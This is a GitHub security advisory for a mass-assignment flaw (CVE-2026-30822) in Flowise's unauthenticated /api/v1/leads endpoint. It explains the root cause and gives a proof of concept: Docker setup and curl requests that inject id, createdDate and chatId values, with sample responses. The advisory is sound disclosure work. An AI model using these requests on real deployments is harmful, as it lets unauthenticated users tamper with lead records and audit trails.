GitHub Advisoryadvisory · npm

GHSA-mq4r-h2gh-qv7x Flowise Allows Mass Assignment in `/api/v1/leads` Endpoint

HIGH Published 2026-03-06 Modified 2026-03-09 Official page ↗
Aliases
CVE-2026-30822
Ecosystem
npm
Packages
flowise
Severity
High
CVSS vector
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L
Weaknesses
CWE-915
Reviewed
2026-03-06

Affected packages

• npm flowise: < 3.0.13 → fixed in 3.0.13

Description

Summary A Mass Assignment vulnerability in the `/api/v1/leads` endpoint allows any unauthenticated user to control internal entity fields (`id`, `createdDate`, `chatId`) by including them in the request body. The endpoint uses `Object.assign()` to copy all properties from the request body to the Lead entity without any input validation or field filtering. This allows attackers to bypass auto-generated fields and inject arbitrary values. | Field | Value | |-------|-------| | Vulnerability Type | Mass Assignment | | CWE ID | CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes | | Authentication Required | None | | Affected Endpoint | `POST /api/v1/leads` | --- Details Root Cause The vulnerability exists in `/packages/server/src/services/leads/index.ts` at lines 27-28: ```typescript // File: /packages/server/src/services/leads/index.ts // Lines 23-38 const createLead = async (body: Partial) => { try { const chatId = body.chatId ?? uuidv4() const newLead = new Lead() Object.assign(newLead, body) // ← VULNERABILITY: All properties copied! Object.assign(newLead, { chatId }) const appServer = getRunningExpressApp() const lead = appServer.AppDataSource.getRepository(Lead).create(newLead) const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead) return dbResponse } catch (error) { throw new InternalFlowiseError(...) } } ``` The `Object.assign(newLead, body)` on line 28 copies ALL properties from the request body to the Lead entity, including: • `id` - The primary key (should be auto-generated) • `createdDate` - The creation timestamp (should be auto-generated) • `chatId` - The chat identifier Lead Entity Definition The Lead entity at `/packages/server/src/database/entities/Lead.ts` uses TypeORM decorators that should auto-generate these fields: ```typescript // File: /packages/server/src/database/entities/Lead.ts @Entity() export class Lead implements ILead { @PrimaryGeneratedColumn('uuid') // Should be auto-generated! id: string @Column() name?: string @Column() email?: string @Column() phone?: string @Column() chatflowid: string @Column() chatId: string @CreateDateColumn() // Should be auto-generated! createdDate: Date } ``` However, `Object.assign()` overwrites these fields before they are saved, bypassing the auto-generation. Why the Endpoint is Publicly Accessible The `/api/v1/leads` endpoint is whitelisted in `/packages/server/src/utils/constants.ts`: ```typescript // File: /packages/server/src/utils/constants.ts // Line 20 export const WHITELIST_URLS = [ // ... other endpoints ... '/api/v1/leads', // ← No authentication required // ... more endpoints ... ] ``` --- Proof of Concept Prerequisites • Docker and Docker Compose installed • curl installed Step 1: Start Flowise Create a `docker-compose.yml`: ```yaml services: flowise: image: flowiseai/flowise:latest restart: unless-stopped environment: • PORT=3000 • DATABASE_PATH=/root/.flowise • DATABASE_TYPE=sqlite • CORS_ORIGINS=* • DISABLE_FLOWISE_TELEMETRY=true ports: • '3000:3000' volumes: • flowise_data:/root/.flowise entrypoint: /bin/sh -c "sleep 3; flowise start" volumes: flowise_data: ``` Start the container: ```bash docker compose up -d Wait for Flowise to be ready (about 1-2 minutes) curl http://localhost:3000/api/v1/ping ``` Step 2: Baseline Test - Normal Lead Creation First, create a normal lead to see expected behavior: ```bash curl -X POST http://localhost:3000/api/v1/leads \ -H "Content-Type: application/json" \ -d '{ "chatflowid": "normal-chatflow-123", "name": "Normal User", "email": "[email protected]", "phone": "555-0000" }' ``` Expected Response (normal behavior): ```json { "id": "018b23e3-d6cb-4dc5-a276-922a174b44fd", "name": "Normal User", "email": "[email protected]", "phone": "555-0000", "chatflowid": "normal-chatflow-123", "chatId": "auto-generated-uuid", "createdDate": "2025-12-26T06:20:39.000Z" } ``` Note: The `id` and `createdDate` are auto-generated by the server. Step 3: Exploit - Inject Custom ID Now inject a custom `id`: ```bash curl -X POST http://localhost:3000/api/v1/leads \ -H "Content-Type: application/json" \ -d '{ "chatflowid": "attacker-chatflow-456", "name": "Attacker", "email": "[email protected]", "phone": "555-EVIL", "id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee" }' ``` Actual Response (vulnerability confirmed): ```json { "id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee", "name": "Attacker", "email": "[email protected]", "phone": "555-EVIL", "chatflowid": "attacker-chatflow-456", "chatId": "auto-generated-uuid", "createdDate": "2025-12-26T06:20:40.000Z" } ``` ⚠️ The attacker-controlled `id` was accepted! Step 4: Exploit - Inject Custom Timestamp Inject a fake `createdDate`: ```bash curl -X POST http://localhost:3000/api/v1/leads \ -H "Content-Type: application/json" \ -d '{ "chatflowid": "timestamp-test-789", "name": "Time Traveler", "email": "[email protected]", "createdDate": "1970-01-01T00:00:00.000Z" }' ``` Actual Response (vulnerability confirmed): ```json { "id": "some-auto-generated-uuid", "name": "Time Traveler", "email": "[email protected]", "chatflowid": "timestamp-test-789", "chatId": "auto-generated-uuid", "createdDate": "1970-01-01T00:00:00.000Z" } ``` ⚠️ The attacker-controlled timestamp from 1970 was accepted! Step 5: Exploit - Combined Mass Assignment Inject multiple fields at once: ```bash curl -X POST http://localhost:3000/api/v1/leads \ -H "Content-Type: application/json" \ -d '{ "chatflowid": "any-chatflow-attacker-wants", "name": "Mass Assignment Attacker", "email": "[email protected]", "phone": "555-HACK", "id": "11111111-2222-3333-4444-555555555555", "createdDate": "2000-01-01T12:00:00.000Z", "chatId": "custom-chat-id-injected" }' ``` Actual Response (vulnerability confirmed): ```json { "id": "11111111-2222-3333-4444-555555555555", "name": "Mass Assignment Attacker", "email": "[email protected]", "phone": "555-HACK", "chatflowid": "any-chatflow-attacker-wants", "chatId": "custom-chat-id-injected", "createdDate": "2000-01-01T12:00:00.000Z" } ``` ⚠️ ALL three internal fields (`id`, `createdDate`, `chatId`) were controlled by the attacker! Verification The exploit succeeds because: 1. ✅ HTTP 200 response (request accepted) 2. ✅ `id` field contains attacker-controlled UUID 3. ✅ `createdDate` field contains attacker-controlled timestamp 4. ✅ `chatId` field contains attacker-controlled string 5. ✅ No authentication headers were sent --- Impact Who is Affected? • All Flowise deployments that use the leads feature • Both open-source and enterprise versions • Any system that relies on lead data integrity Attack Scenarios | Scenario | Impact | |----------|--------| | ID Collision Attack | Attacker creates leads with specific UUIDs, potentially overwriting existing records or causing database conflicts | | Audit Trail Manipulation | Attacker sets fake `createdDate` values to hide malicious activity or manipulate reporting | | Data Integrity Violation | Internal fields that should be server-controlled are now user-controlled | | Chatflow Association | Attacker can link leads to arbitrary chatflows they don't own | Severity Assessment While this vulnerability doesn't directly expose sensitive data…

Related

Alias · CVE (1)

  • CVE-2026-30822 Flowise is a drag & drop user interface to build a customized large language model flow. vulnerability

Weakness · CWE (1)

  • CWE-915 Improperly Controlled Modification of Dynamically-Determined Object Attributes weakness

References